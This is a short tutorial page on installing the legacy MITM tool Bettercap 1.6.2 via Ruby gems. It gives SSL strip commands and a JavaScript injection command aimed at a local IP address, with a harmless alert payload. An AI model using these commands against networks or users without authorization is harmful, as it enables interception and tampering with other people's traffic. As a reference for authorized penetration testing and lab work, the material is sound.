Bettercap 1.6.2 Installation
Bettercap 1.6.2 Installation¶
BetterCAP is a powerful, flexible, and portable tool created to perform various types of MITM attacks against a network
Bettercap 1.6.2 is legacy tool, but it performs ssl strip much better then Bettercap 2.x
Install Ruby Gem
apt install -y ruby-full libpcap-dev
gem update --system
gem install bettercap
Bettercap 1.6.2 installs the executable to /usr/local/bin/bettercap
Bettercap 2.x installs the executable to /usr/bin/bettercap
Both Bettercap 1.6.2 and 2.x shares the same executable name. In order to privet any collisions we will rename the Bettercap 1.6.2 executable to bettercap1.6.2.
mv /usr/local/bin/bettercap /usr/local/bin/bettercap1.6.2
From this point you can run bettercap1.6.2 for Bettercap 1.6.2 and bettercap for Bettercap 2.x
Bettercap 1.6.2 SSL Strip Examples¶
Basic SSL Strip Example
bettercap1.6.2 -X -T 192.168.1.104 --proxy
SSL Strip With XSS Example
bettercap1.6.2 -X -T 192.168.3.104 --proxy --proxy-module injectjs --js-data "<script>alert('SSL STRIP, Script Injection')</script>"
Dbug¶
To find that Bettercap installation from ruby gems:
gem environment
the path should be under GEM PATHP for example:
/var/lib/gems/2.7.0/gems/bettercap-1.6.2